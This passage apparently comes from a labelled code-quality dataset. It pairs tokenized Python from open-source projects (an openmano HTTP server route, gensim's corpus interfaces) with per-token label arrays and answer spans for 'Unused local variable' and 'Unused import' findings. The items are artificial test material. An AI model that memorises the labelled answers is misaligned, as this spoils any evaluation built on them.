"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "output_", "[_", "'", "datafile", "s", "'_", "]_", "[_", "exe", "name_", "]_", "=_", "open_", "(_", "tempfile_", "._", "gettempdir_", "(_", ")_", "+_", "'/'_", "+_", "exe", "name_", ",_", "'", "rb", "'_", ")_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "python", "\\u", "main_", "[_", "'", "script", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "python", "\\u", "main_", "[_", "'", "script", "'_", "]_", "=_", "'\\\\", "n", "'_", "._", "join_", "(_", "python", "\\u", "main_", "[_", "'", "script", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output_", "[_", "'", "python", "'_", "]_", "._", "append_", "(_", "python", "\\u", "main_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "modules_", "[_", "'", "bazel", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "http", "://", "bazel", ".", "io", "/", "docs", "/", "build", "-", "ref", ".", "html", "#", "workspaces", "_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "a", " ", "WORKS", "PACE", " ", "file", " ", "is", " ", "require", "d", ",", " ", "even", " ", "if", " ", "empty", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "tmpdir_", "=_", "tempfile_", "._", "gettempdir_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "open_", "(_", "tmpdir_", "+_", "'/", "WORKS", "PACE", "'_", ",_", "'", "wb", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "filename_", "in_", "output_", "[_", "'", "datafile", "s", "'_", "]_", "._", "keys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "open_", "(_", "tmpdir_", "+_", "'/'_", "+_", "filename_", ",_", "'", "wb", "'_", ")_", "._", "write_", "(_", "output_", "[_", "'", "datafile", "s", "'_", "]_", "[_", "filename_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "bazel", "builds_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mod", "s", "\\u", "sorte", "d\\u", "by", "\\u", "index_", "=_", "sorted_", "(_", "modules_", "[_", "'", "bazel", "'_", "]_", ",_", "key_", "=_", "lambda_", "mod_", ":_", "mod_", "._", "get_", "(_", "'", "index", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "mod_", "in_", "mod", "s", "\\u", "sorte", "d\\u", "by", "\\u", "index_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "bazel", "config_", "=_", "mod_", "[_", "'", "code", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "open_", "(_", "tmpdir_", "+_", "'/", "BUILD", "'_", ",_", "'", "wb", "'_", ")_", "._", "write_", "(_", "bazel", "config_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "chk_", "in_", "bazel", "config_", "._", "split_", "(_", "','_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "chk_", "=_", "chk_", "._", "strip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "chk_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "chk_", "._", "endswith_", "(_", "'\"'_", ")_", "and_", "'", "name", "'_", "in_", "words_", "and_", "'='_", "in_", "words_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "chk_", "=_", "chk_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bazel", "builds_", "._", "append_", "(_", "chk_", "[_", "-_", "1_", "]_", "[_", "1_", ":_", "-_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "assert_", "len_", "(_", "bazel", "builds_", ")_", "==_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "build", "name_", "=_", "bazel", "builds_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "subproc", "ess", ".", "check", "\\u", "call", "([", "'", "bazel", "',", " ", "'", "build", "',", " ", "':", "'+", "build", "name", "],", " ", "cw", "d", "=", "tmpdir", ")_", "\\u\\u\\uNL\\u\\u\\u_", "subprocess_", "._", "check", "\\u", "call_", "(_", "[_", "'", "bazel", "'_", ",_", "'", "run", "'_", ",_", "':'_", "+_", "build", "name_", "]_", ",_", "cwd_", "=_", "tmpdir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "gyp", "\\u", "builds_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "tmpdir_", "=_", "tempfile_", "._", "gettempdir_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "gname", "_", "in_", "gyp", "\\u", "builds_", "._", "keys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "gb", "uild", "_", "=_", "gyp", "\\u", "builds_", "[_", "gname", "_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "gb", "uild", "_", "[_", "'", "src", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "open_", "(_", "tmpdir_", "+_", "'/", "bindi", "ng", ".", "gyp", "'_", ",_", "'", "wb", "'_", ")_", "._", "write_", "(_", "gb", "uild", "_", "[_", "'", "gyp", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "open_", "(_", "tmpdir_", "+_", "'/'_", "+_", "gname", "_", ",_", "'", "wb", "'_", ")_", "._", "write_", "(_", "gb", "uild", "_", "[_", "'", "src", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subprocess_", "._", "check", "\\u", "call_", "(_", "[_", "'", "nw", "-", "gyp", "'_", ",_", "'", "configur", "e", "'_", ",_", "'--", "target", "=", "0.12", ".3", "'_", "]_", ",_", "cwd_", "=_", "tmpdir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subprocess_", "._", "check", "\\u", "call_", "(_", "[_", "'", "nw", "-", "gyp", "'_", ",_", "'", "build", "'_", "]_", ",_", "cwd_", "=_", "tmpdir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "node", "\\u", "module_", "=_", "open_", "(_", "tmpdir_", "+_", "'/", "build", "/", "Release", "/", "bindi", "ng", ".", "node", "'_", ",_", "'", "rb", "'_", ")_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output_", "[_", "'", "datafile", "s", "'_", "]_", "[_", "'", "bindi", "ng", ".", "node", "'_", "]_", "=_", "node", "\\u", "module_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "output_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
nfvlabs/openmano/openmano/httpserver.py
[ { "content": "@bottle.route(url_base + '/<tenant_id>/instances', method='GET')\ndef http_get_instances(tenant_id):\n '''get instance list'''\n #check valid tenant_id\n if tenant_id != \"any\" and not nfvo.check_tenant(mydb, tenant_id): \n print 'httpserver.http_get_instances() tenant %s not found' % tenant_id\n bottle.abort(HTTP_Not_Found, 'Tenant %s not found' % tenant_id)\n return\n #obtain data\n s,w,l=filter_query_string(bottle.request.query, None, ('uuid', 'name', 'scenario_id', 'tenant_id', 'description', 'created_at'))\n where_or={}\n if tenant_id != \"any\":\n w['tenant_id'] = tenant_id\n result, data = mydb.get_table(SELECT=s, WHERE=w, LIMIT=l, FROM='instance_scenarios')\n if result < 0:\n print \"http_get_instances error %d %s\" % (-result, data)\n bottle.abort(-result, data)\n else:\n convert_datetime2str(data)\n af.convert_str2boolean(data, ('public',) )\n instances={'instances':data}\n print json.dumps(instances, indent=4)\n return format_out(instances)", "metadata": "root.http_get_instances", "header": "['module', '___EOS___']", "index": 991 } ]
[ { "span": "where_or=", "start_line": 1001, "start_column": 4, "end_line": 1001, "end_column": 12 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "bottle_", "._", "route_", "(_", "url", "\\u", "base_", "+_", "'/", "<", "tenan", "t", "\\u", "id", ">/", "instance", "s", "'_", ",_", "method_", "=_", "'", "GET", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "http", "\\u", "get", "\\u", "instances_", "(_", "tenan", "t", "\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "get", " ", "instance", " ", "list", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "check", " ", "valid", " ", "tenan", "t", "\\u", "id_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "tenan", "t", "\\u", "id_", "!=_", "\"", "any", "\"_", "and_", "not_", "nf", "vo_", "._", "check", "\\u", "tenant_", "(_", "myd", "b_", ",_", "tenan", "t", "\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "https", "erver", ".", "http", "\\u", "get", "\\u", "instance", "s", "()", " ", "tenan", "t", " ", "%", "s", " ", "not", " ", "found", "'_", "%_", "tenan", "t", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bottle_", "._", "abort_", "(_", "HTTP", "\\u", "Not", "\\u", "Found_", ",_", "'", "Ten", "ant", " ", "%", "s", " ", "not", " ", "found", "'_", "%_", "tenan", "t", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "obtain", " ", "data_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "s_", ",_", "w_", ",_", "l_", "=_", "filter", "\\u", "query", "\\u", "string_", "(_", "bottle_", "._", "request_", "._", "query_", ",_", "None_", ",_", "(_", "'", "uuid", "'_", ",_", "'", "name", "'_", ",_", "'", "scen", "ario", "\\u", "id", "'_", ",_", "'", "tenan", "t", "\\u", "id", "'_", ",_", "'", "description", "'_", ",_", "'", "created", "\\u", "at", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "where", "\\u", "or_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "tenan", "t", "\\u", "id_", "!=_", "\"", "any", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "w_", "[_", "'", "tenan", "t", "\\u", "id", "'_", "]_", "=_", "tenan", "t", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "result_", ",_", "data_", "=_", "myd", "b_", "._", "get", "\\u", "table_", "(_", "SELECT", "_", "=_", "s_", ",_", "WHE", "RE_", "=_", "w_", ",_", "LIMIT_", "=_", "l_", ",_", "FROM", "_", "=_", "'", "instance", "\\u", "scen", "ario", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "result_", "<_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "http", "\\u", "get", "\\u", "instance", "s", " ", "error", " ", "%", "d", " ", "%", "s", "\"_", "%_", "(_", "-_", "result_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bottle_", "._", "abort_", "(_", "-_", "result_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "convert", "\\u", "datetime", "2str_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "af_", "._", "convert", "\\u", "str2", "boolean_", "(_", "data_", ",_", "(_", "'", "public", "'_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "instances_", "=_", "{_", "'", "instance", "s", "'_", ":_", "data_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "json_", "._", "dumps_", "(_", "instances_", ",_", "indent_", "=_", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "format\\u", "out_", "(_", "instances_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
largelymfs/topical_word_embeddings/TWE-1/gensim/interfaces.py
[ { "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n# Copyright (C) 2010 Radim Rehurek <[email protected]>\n# Licensed under the GNU LGPL v2.1 - http://www.gnu.org/licenses/lgpl.html\n\n\"\"\"\nThis module contains basic interfaces used throughout the whole gensim package.\n\nThe interfaces are realized as abstract base classes (ie., some optional functionality\nis provided in the interface itself, so that the interfaces can be subclassed).\n\"\"\"\n\nfrom __future__ import with_statement\n\nimport logging\nimport itertools\n\nfrom gensim import utils, matutils\nfrom six.moves import xrange\n\n\nlogger = logging.getLogger('gensim.interfaces')\n\n\n#endclass CorpusABC\n\n\n#endclass TransformedCorpus\n\n\n#endclass TransformationABC\n\n\n#endclass SimilarityABC\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class CorpusABC(utils.SaveLoad):\n \"\"\"\n Interface (abstract base class) for corpora. A *corpus* is simply an iterable,\n where each iteration step yields one document:\n\n >>> for doc in corpus:\n >>> # do something with the doc...\n\n A document is a sequence of `(fieldId, fieldValue)` 2-tuples:\n\n >>> for attr_id, attr_value in doc:\n >>> # do something with the attribute\n\n Note that although a default :func:`len` method is provided, it is very inefficient\n (performs a linear scan through the corpus to determine its length). Wherever\n the corpus size is needed and known in advance (or at least doesn't change so\n that it can be cached), the :func:`len` method should be overridden.\n\n See the :mod:`gensim.corpora.svmlightcorpus` module for an example of a corpus.\n\n Saving the corpus with the `save` method (inherited from `utils.SaveLoad`) will\n only store the *in-memory* (binary, pickled) object representation=the stream\n state, and **not** the documents themselves. See the `save_corpus` static method\n for serializing the actual stream content.\n \"\"\"\n\n\n\n# logger.warning(\"performing full corpus scan to determine its length; was this intended?\")\n# return sum(1 for doc in self) # sum(empty generator) == 0, so this works even for an empty corpus\n", "metadata": "root.CorpusABC", "header": "['module', '___EOS___']", "index": 25 }, { "content": " def __iter__(self):\n \"\"\"\n Iterate over the corpus, yielding one document at a time.\n \"\"\"\n raise NotImplementedError('cannot instantiate abstract base class')", "metadata": "root.CorpusABC.__iter__", "header": "['class', 'CorpusABC', '(', 'utils', '.', 'SaveLoad', ')', ':', '___EOS___']", "index": 50 }, { "content": " def save(self, *args, **kwargs):\n import warnings\n warnings.warn(\"corpus.save() stores only the (tiny) iteration object; \"\n \"to serialize the actual corpus content, use e.g. MmCorpus.serialize(corpus)\")\n super(CorpusABC, self).save(*args, **kwargs)", "metadata": "root.CorpusABC.save", "header": "['class', 'CorpusABC', '(', 'utils', '.', 'SaveLoad', ')', ':', '___EOS___']", "index": 57 }, { "content": " def __len__(self):\n \"\"\"\n Return the number of documents in the corpus.\n\n This method is just the least common denominator and should really be\n overridden when possible.\n \"\"\"\n raise NotImplementedError(\"must override __len__() before calling len(corpus)\")", "metadata": "root.CorpusABC.__len__", "header": "['class', 'CorpusABC', '(', 'utils', '.', 'SaveLoad', ')', ':', '___EOS___']", "index": 63 }, { "content": " @staticmethod\n def save_corpus(fname, corpus, id2word=None, metadata=False):\n \"\"\"\n Save an existing `corpus` to disk.\n\n Some formats also support saving the dictionary (`feature_id->word` mapping),\n which can in this case be provided by the optional `id2word` parameter.\n\n >>> MmCorpus.save_corpus('file.mm', corpus)\n\n Some corpora also support an index of where each document begins, so\n that the documents on disk can be accessed in O(1) time (see the\n `corpora.IndexedCorpus` base class). In this case, `save_corpus` is automatically\n called internally by `serialize`, which does `save_corpus` plus saves the index\n at the same time, so you want to store the corpus with::\n\n >>> MmCorpus.serialize('file.mm', corpus) # stores index as well, allowing random access to individual documents\n\n Calling `serialize()` is preferred to calling `save_corpus()`.\n\n \"\"\"\n raise NotImplementedError('cannot instantiate abstract base class')\n\n # example code:\n logger.info(\"converting corpus to ??? format: %s\" % fname)\n with utils.smart_open(fname, 'wb') as fout:\n for doc in corpus: # iterate over the document stream\n fmt = str(doc) # format the document appropriately...\n fout.write(utils.to_utf8(\"%s\\n\" % fmt)) # serialize the formatted document to disk", "metadata": "root.CorpusABC.save_corpus", "header": "['class', 'CorpusABC', '(', 'utils', '.', 'SaveLoad', ')', ':', '___EOS___']", "index": 74 }, { "content": "class TransformedCorpus(CorpusABC):\n\n", "metadata": "root.TransformedCorpus", "header": "['module', '___EOS___']", "index": 106 }, { "content": " def __init__(self, obj, corpus, chunksize=None):\n self.obj, self.corpus, self.chunksize = obj, corpus, chunksize\n self.metadata = False", "metadata": "root.TransformedCorpus.__init__", "header": "['class', 'TransformedCorpus', '(', 'CorpusABC', ')', ':', '___EOS___']", "index": 107 }, { "content": " def __len__(self):\n return len(self.corpus)", "metadata": "root.TransformedCorpus.__len__", "header": "['class', 'TransformedCorpus', '(', 'CorpusABC', ')', ':', '___EOS___']", "index": 111 }, { "content": " def __iter__(self):\n if self.chunksize:\n for chunk in utils.grouper(self.corpus, self.chunksize):\n for transformed in self.obj.__getitem__(chunk, chunksize=None):\n yield transformed\n else:\n for doc in self.corpus:\n yield self.obj[doc]", "metadata": "root.TransformedCorpus.__iter__", "header": "['class', 'TransformedCorpus', '(', 'CorpusABC', ')', ':', '___EOS___']", "index": 114 }, { "content": "class TransformationABC(utils.SaveLoad):\n \"\"\"\n Interface for transformations. A 'transformation' is any object which accepts\n a sparse document via the dictionary notation `[]` and returns another sparse\n document in its stead::\n\n >>> transformed_doc = transformation[doc]\n\n or also::\n\n >>> transformed_corpus = transformation[corpus]\n\n See the :mod:`gensim.models.tfidfmodel` module for an example of a transformation.\n\n \"\"\"\n\n\n", "metadata": "root.TransformationABC", "header": "['module', '___EOS___']", "index": 125 }, { "content": " def __getitem__(self, vec):\n \"\"\"\n Transform vector from one vector space into another\n\n **or**\n\n Transform a whole corpus into another.\n \"\"\"\n raise NotImplementedError('cannot instantiate abstract base class')", "metadata": "root.TransformationABC.__getitem__", "header": "['class', 'TransformationABC', '(', 'utils', '.', 'SaveLoad', ')', ':', '___EOS___']", "index": 141 }, { "content": " def _apply(self, corpus, chunksize=None):\n \"\"\"\n Apply the transformation to a whole corpus (as opposed to a single document)\n and return the result as another corpus.\n \"\"\"\n return TransformedCorpus(self, corpus, chunksize)", "metadata": "root.TransformationABC._apply", "header": "['class', 'TransformationABC', '(', 'utils', '.', 'SaveLoad', ')', ':', '___EOS___']", "index": 152 }, { "content": "class SimilarityABC(utils.SaveLoad):\n \"\"\"\n Abstract interface for similarity searches over a corpus.\n\n In all instances, there is a corpus against which we want to perform the\n similarity search.\n\n For each similarity search, the input is a document and the output are its\n similarities to individual corpus documents.\n\n Similarity queries are realized by calling ``self[query_document]``.\n\n There is also a convenience wrapper, where iterating over `self` yields\n similarities of each document in the corpus against the whole corpus (ie.,\n the query is each corpus document in turn).\n \"\"\"\n\n\n\n\n\n", "metadata": "root.SimilarityABC", "header": "['module', '___EOS___']", "index": 161 }, { "content": " def __init__(self, corpus):\n raise NotImplementedError(\"cannot instantiate Abstract Base Class\")", "metadata": "root.SimilarityABC.__init__", "header": "['class', 'SimilarityABC', '(', 'utils', '.', 'SaveLoad', ')', ':', '___EOS___']", "index": 177 }, { "content": " def get_similarities(self, doc):\n # (Sparse)MatrixSimilarity override this method so that they both use the\n # same __getitem__ method, defined below\n raise NotImplementedError(\"cannot instantiate Abstract Base Class\")", "metadata": "root.SimilarityABC.get_similarities", "header": "['class', 'SimilarityABC', '(', 'utils', '.', 'SaveLoad', ')', ':', '___EOS___']", "index": 181 }, { "content": " def __getitem__(self, query):\n \"\"\"Get similarities of document `query` to all documents in the corpus.\n\n **or**\n\n If `query` is a corpus (iterable of documents), return a matrix of similarities\n of all query documents vs. all corpus document. Using this type of batch\n query is more efficient than computing the similarities one document after\n another.\n \"\"\"\n is_corpus, query = utils.is_corpus(query)\n if self.normalize:\n # self.normalize only works if the input is a plain gensim vector/corpus (as\n # advertised in the doc). in fact, input can be a numpy or scipy.sparse matrix\n # as well, but in that case assume tricks are happening and don't normalize\n # anything (self.normalize has no effect).\n if matutils.ismatrix(query):\n import warnings\n # warnings.warn(\"non-gensim input must already come normalized\")\n else:\n if is_corpus:\n query = [matutils.unitvec(v) for v in query]\n else:\n query = matutils.unitvec(query)\n result = self.get_similarities(query)\n\n if self.num_best is None:\n return result\n\n # if the input query was a corpus (=more documents), compute the top-n\n # most similar for each document in turn\n if matutils.ismatrix(result):\n return [matutils.full2sparse_clipped(v, self.num_best) for v in result]\n else:\n # otherwise, return top-n of the single input document\n return matutils.full2sparse_clipped(result, self.num_best)", "metadata": "root.SimilarityABC.__getitem__", "header": "['class', 'SimilarityABC', '(', 'utils', '.', 'SaveLoad', ')', ':', '___EOS___']", "index": 187 }, { "content": " def __iter__(self):\n \"\"\"\n For each index document, compute cosine similarity against all other\n documents in the index and yield the result.\n \"\"\"\n # turn off query normalization (vectors in the index are assumed to be already normalized)\n norm = self.normalize\n self.normalize = False\n\n # Try to compute similarities in bigger chunks of documents (not\n # one query = a single document after another). The point is, a\n # bigger query of N documents is faster than N small queries of one\n # document.\n #\n # After computing similarities of the bigger query in `self[chunk]`,\n # yield the resulting similarities one after another, so that it looks\n # exactly the same as if they had been computed with many small queries.\n try:\n chunking = self.chunksize > 1\n except AttributeError:\n # chunking not supported; fall back to the (slower) mode of 1 query=1 document\n chunking = False\n if chunking:\n # assumes `self.corpus` holds the index as a 2-d numpy array.\n # this is true for MatrixSimilarity and SparseMatrixSimilarity, but\n # may not be true for other (future) classes..?\n for chunk_start in xrange(0, self.index.shape[0], self.chunksize):\n # scipy.sparse doesn't allow slicing beyond real size of the matrix\n # (unlike numpy). so, clip the end of the chunk explicitly to make\n # scipy.sparse happy\n chunk_end = min(self.index.shape[0], chunk_start + self.chunksize)\n chunk = self.index[chunk_start : chunk_end]\n if chunk.shape[0] > 1:\n for sim in self[chunk]:\n yield sim\n else:\n yield self[chunk]\n else:\n for doc in self.index:\n yield self[doc]\n\n # restore old normalization value\n self.normalize = norm", "metadata": "root.SimilarityABC.__iter__", "header": "['class', 'SimilarityABC', '(', 'utils', '.', 'SaveLoad', ')', ':', '___EOS___']", "index": 225 } ]
[ { "span": "import itertools", "start_line": 16, "start_column": 0, "end_line": 16, "end_column": 16 } ]
[]
